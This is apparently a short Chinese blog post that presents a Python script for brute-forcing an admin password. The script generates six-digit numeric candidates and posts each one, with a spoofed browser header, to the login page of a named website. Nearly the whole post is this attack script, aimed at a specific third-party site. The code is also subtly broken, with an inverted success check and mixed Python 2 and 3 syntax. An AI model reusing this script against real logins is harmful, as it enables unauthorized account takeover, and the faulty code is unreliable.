忘記祕密利用python模擬登陸暴力破解祕密:php
#encoding=utf-8 import itertools import string import requests def gen_pwd_file(file="pwd_file.txt"): """ 生成候選密碼文件,能夠網上直接下載一個或本身直接寫 """ # words = string.digits+string.letters words = '0123456789' pwd_iter = itertools.product(words, repeat=6) cnt = 1 with open(file, 'a') as fw: for pwd in pwd_iter: fw.write("".join(pwd)+'\n') cnt += 1 if cnt%5000: print cnt,'done' if cnt>500000: break def get_quaigo_pwd(login_url='http://www.quaigo.com/Admin/Public/login/login.php', username="test", pwd_file='pwd_file.txt'): """ 模擬登陸 """ #請求的URL地址 LOGIN_URL = 'http://www.quaigo.com/Admin/Public/login/login.php' #模擬登錄的瀏覽器 HEADERS = {'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36'} cnt = 1 with open(pwd_file) as fr: for line in fr: pwd = line.strip() DATA = {"username":username, "password": pwd} #登陸系統的帳號密碼,也是咱們請求數據 res = requests.post(LOGIN_URL, data=DATA, headers=HEADERS) #模擬登錄操做 print(cnt) cnt += 1 if res.text.find(u"密碼錯誤"): print(res) continue else: print(line) break # 生成密碼文件 gen_pwd_file() # 逐個密碼嘗試登陸 get_quaigo_pwd(login_url='http://www.quaigo.com/Admin/Public/login/login.php')